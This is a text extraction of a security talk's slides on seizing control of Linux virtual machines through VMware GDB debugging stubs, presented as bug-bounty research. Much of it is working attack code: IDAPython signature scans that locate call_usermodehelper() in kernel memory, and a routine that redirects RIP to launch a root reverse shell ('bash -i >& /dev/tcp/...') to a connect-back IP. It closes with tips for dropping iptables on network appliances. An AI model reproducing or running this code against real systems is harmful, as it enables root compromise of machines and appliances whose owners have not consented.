0x01 - Breaking into Linux VMs for Fun and Profit.pdf
1. Breaking into Linux VMs
For Fun and Profit
Russell Sanford
xort @ sploit.online
2. 0x01
• I Originally created this technique in 2016 and did a talk called…
Compromising Linux Virtual Machines with Debugging Mechanisms (slideshare
.net)
https://www.slideshare.net/xort/compromising-linux-virtual-machines-with-debugging-mechanisms
This technique allows you to seize control of a (on-prem) Linux Virtual
Machine and spawn a connect back root shell from kernel land.
(Ring0 -> Ring3 -> Us)
Machines relying on LUKs boot-key encryption are not secure and access to
their appliances code base can be audited for vulnerabilities.
Breaking Into Linux VMs
for Fun and Profit
3. 0x02
This attack opened the door to finding >30 Remote Root (auth and pre-
auth) vulnerabilities in security vendor’s products
(Citrix, Sophos, Barracuda, Bluecoat, Sonicwall, etc…)
Made me > $20k in bug bounties ( the ‘profit’ :D )
Got me up to #107 on bugcrowd’s ~50k signed up researchers
Breaking Into Linux VMs
for Fun and Profit
4. 0x03
Vmware added GDB Plugs to their products allowing for OS developers to diagnose
code in their Virtual Machines.
I adapted methodology used in UNIX Ptrace styled attacks to see what fun could be
had…
Breaking Into Linux VMs
for Fun and Profit
So What Brought this on…
5. 0x04
Breaking Into Linux VMs
for Fun and Profit
int call_usermodehelper ( const char * path,
char ** argv,
char ** envp,
int wait);
Name
call_usermodehelper — prepare and start a usermode application
Synopsis
(FROM KERNEL LAND)
Were starting off in
Kernel Land…
This allows us to go from
RING 0 (kernel) to RING3
(userland)
Where we can launch our
attack. :D
6. 0x05
Breaking Into Linux VMs
for Fun and Profit
Finding Bytes Signatures… To find Pathways to API
Locate SIMILAR
sections of code from
multiple target’s
using unique
assembly sequences
Compare bytes and
find sections with
gaps of indifference
that realign later in
the code for more
unique samples
8. 0x07
• VMware Workstation >= 5.0
• VMware Player >= 3.0
• Fusion
• Allow RWX of memory, ability to single-step, etc @ kernel level
• When attaching to a Linux VM we land in native_safe_halt()
Breaking Into Linux VMs
for Fun and Profit
VMWARE GDB STUBS
9. 0x08
Breaking Into Linux VMs
for Fun and Profit
Configuring IDA Pro to connect to Vmware GDB server
10. 0x09
Breaking Into Linux VMs
for Fun and Profit
Configuring IDA Pro to connect to Vmware GDB server
11. 0x0A
Breaking Into Linux VMs
for Fun and Profit
Configuring IDA Pro to connect to Vmware GDB server
14. 0x0D
Breaking Into Linux VMs
for Fun and Profit
THE REVISED ATTACK (2023)
API Identification…
THE PROBLEM:
The Old Way was slow and would sometimes fail with debugging over a network…
I needed to come up with a solution to find call_usermodehelper() API in a quicker and more
elegant way.
THE SOLUTION:
Instead of one large sweep of memory looking for a single byte signature…
I would analyze the kernel and write a routine to find functions that called into functions, that
would call into functions, that would call into functions (3 layers deep) and end up at an address
CLOSE ( 0xFFFFFFFFF0000 range) to call_usermodehelper()
From Here, a final memory fingerprint byte scan is done to identify call_usermodehelper()
15. 0x0E
Breaking Into Linux VMs
for Fun and Profit
THE REVISED ATTACK (2023)
API Pathway Identification Map Routine (Searches 4 Levels Deep in Code XREFs) for an address close
to call_usermodehelper()
17. 0x10
• THE REVISED ATTACK (2023)
Shellcode? Who needs Shellcode… :D …..Not Us.
• We change RIP to call_usermodehelp()’s entry point and set register values to ARGV[]
data we store backwards in stack
• When it reaches the end of the function – it returns to what native_safe_halt() would
have and it’s as if we never made a change
• Return of execution is smoothly given back to the OS – but our shell has been
spawned. :D
Breaking Into Linux VMs
for Fun and Profit
18. 0x11
• THE REVISED ATTACK (2023)
Breaking Into Linux VMs
for Fun and Profit
We Change RIP from
native_safe_halt()
to call_usermodehelper()
without any patches to the
code.
Call_usermodehelper() will
cleanly exit ounce our shell is
spawned by returning to
where native_safe_halt() was
supposed to
19. 0x12
Breaking Into Linux VMs
for Fun and Profit
THE REVISED ATTACK (2023)
1) API Identification through:
A) 1st
Round - Memory Signature scan to find Code Xref’ed to…
B) Extracting Pointer from CALL instruction ( and calculating 2’s compliment offset)
C) 2nd
Round – Memory Signature scan to find Code Xref’ed to…
D) Extracting Pointer from CALL instruction ( and calculating 2’s compliment offset)
E) 3rd
Round – Memory Scanning for call_usermodehelper()’s API address
2) Backing up Machine State - Register Values and Memory Area to be used for executing Shellcode (current RIP address)
3) Creating ARGV[] data somewhere back in the Stack
4) Restoring Machine State – Restoring Register Values – Setting RIP back – Patching back memory we overwrote to execute Shellcode
21. 0x14
Breaking Into Linux VMs
for Fun and Profit
We start in native_safe_halt() …
Scan Up in Memory for acpi_os_unmap_iomem()
Using byte signature pattern: 48 B9 22 01 00 00 00 00 AD DE ...
acpi_os_unmap_iomem_sig = "48 B9 22 01 00 00 00 00 AD DE”
sig_addr = idc.find_binary(addr, SEARCH_UP, acpi_os_unmap_iomem_sig)
22. 0x15
Breaking Into Linux VMs
for Fun and Profit
acpi_os_unmap_iomem() we find a CALL to queue_rcu_work() which we extract the destinations API
from the CALL instruction which is located 0x2d bytes from our byte signature
offset_to_queue_rcu_work = ctypes.c_long(unpack("<L", get_bytes((sig_addr + 0x2d),4,0))[0]).value
23. 0x16
Breaking Into Linux VMs
for Fun and Profit
queue_rcu_work() resides close to call_usermodehelper() in memory …
call_usermodehelper_sig = "55 83 F9 01 48 89 E5 41 56 41 89 CE 41 55 49 89 FD“
sig_addr = idc.find_binary(queue_rcu_work_address, SEARCH_UP, call_usermodehelper_sig)
We Search up for the binary pattern: 55 83 F9 01 48 89 E5 41 56 41 89 CE 41 55 49 89 FD to
find it.
24. 0x17
Breaking Into Linux VMs
for Fun and Profit
ARGV in Memory…
• Top area is set aside to hold QWORD
of pointers to strings used in ARGV
array
• Ends with NULL (Qword) to signify
end of array
• Bottom area will hold actual string
data
25. 0x18
Breaking Into Linux VMs
for Fun and Profit
con_back_ip = "192.168.1.111"
con_back_port = "33333"
command_to_execute = "bash -i >& /dev/tcp/" + con_back_ip + "/" + con_back_port + " 0>&1“ # CMD in memory for ARGV...
cmd_runner_prefix = b"/bin/bashx00-cx00“ # payload / command to execute
location = get_reg_value("rsp") - 0x1000
location2= get_reg_value("rsp") - 0x1100
idaapi.dbg_write_memory(location, (cmd_runner_prefix + command_to_execute.encode('latin-1')) + b"x00" )
set_reg_value(location, "rdi") # RDI = program to execute
# RSI = construct argv[]
idaapi.dbg_write_memory(location2, pack("<Q", location)) # program name and start of argv
idaapi.dbg_write_memory(location2+8, pack("<Q", location+10))
idaapi.dbg_write_memory(location2+16, pack("<Q", location+13))
idaapi.dbg_write_memory(location2+24, pack("<Q", 0x0)) # end of argv[]
set_reg_value(location2, "rsi") # RSI = argv[]
set_reg_value(0x0, "rdx") # RDX = envp[] (null)
set_reg_value( call_usermodehelper , "rip") # RIP to call_usermodehelper()
27. 0x17
Breaking Into Linux VMs
for Fun and Profit
The do_coredump() method
Universal Unlock Method for ALL 5x 6x Kernels
( also… much slower :D ! Go grab food and wait! )
28. 0x1A
Breaking Into Linux VMs
for Fun and Profit
When we attach to a running Linux kernel using GDB stubs, we land in a call to
native_safe_halt().
This is where our journey begins… :D
29. 0x1B
Breaking Into Linux VMs
for Fun and Profit
do_coredump_sig1 = "BA 00 02 00 00 BE C0 0C 00 00 E8 ?? ?? ?? ?? 48 85 C0“
sig_addr = idc.find_binary(addr, SEARCH_UP, do_coredump_sig1)
We Search up for the binary pattern: BA 00 02 00 00 BE C0 0C 00 00 E8 ?? ?? ?? ?? 48 85 C0
to land in do_coredump()
30. 0x1C
Breaking Into Linux VMs
for Fun and Profit
do_coredump_sig2 = "50 49 8B“
sig_addr = idc.find_binary(sig_addr, SEARCH_UP, do_coredump_sig2)
We Search up for the binary pattern: 50 49 8B to land the call to call_usermodehelper_setup() near
by…
31. 0x1D
Breaking Into Linux VMs
for Fun and Profit
do_coredump_sig3 = "E8 ?? ?? ?? ?? 44 8b“
sig_addr = idc.find_binary(sig_addr, SEARCH_DOWN, do_coredump_sig3)
call_usermodehelper_setup = (sig_addr+1) + ctypes.c_long(unpack("<L", get_bytes((sig_addr +
0x1),4,0))[0]).value
We Search down for the binary pattern: E8 ?? ?? ?? ?? 44 8b to find actual address reference
32. 0x1E
Breaking Into Linux VMs
for Fun and Profit
We dereference address of call_usermodehelper_setup() knowing call_usermodehelper() is near by
Just bytes below in a following function declaration….
VERY CLOSE NOW! :D
33. 0x1F
Breaking Into Linux VMs
for Fun and Profit
call_usermodehelper_sig1 = "81 E6 60 ?? FF FF 48 89 D3 BA ?? 00 00 00 81 C6 C0 0D 00 00“
sig_addr = idc.find_binary(call_usermodehelper_setup, SEARCH_DOWN,
call_usermodehelper_sig1)
We Search down for the binary pattern: 81 E6 60 ?? FF FF 48 89 D3 BA ?? 00 00 00 81 C6 C0 0D 00
00 to land in call_usermodehelper() …
34. 0x20
Breaking Into Linux VMs
for Fun and Profit
call_usermodehelper_sig2 = "E8 ?? ?? ?? ?? 55 83 F9 01“
call_usermodehelper = idc.find_binary(sig_addr, SEARCH_UP, call_usermodehelper_sig2)
Lastly, we search up to find the beginning bytes of the function: call_usermodehelper() …
GAME TIME! :D
35. 0x21
Breaking Into Linux VMs
for Fun and Profit
The path to call_usermodehelper() using the do_coredump() route/method…
37. 0x23
Breaking Into Linux VMs
for Fun and Profit
Tips for compromising
Network Appliances:
• Prelude payload with call to Drop IPTABLES
• Try adding a serial connection and using a serial connect back 1-liner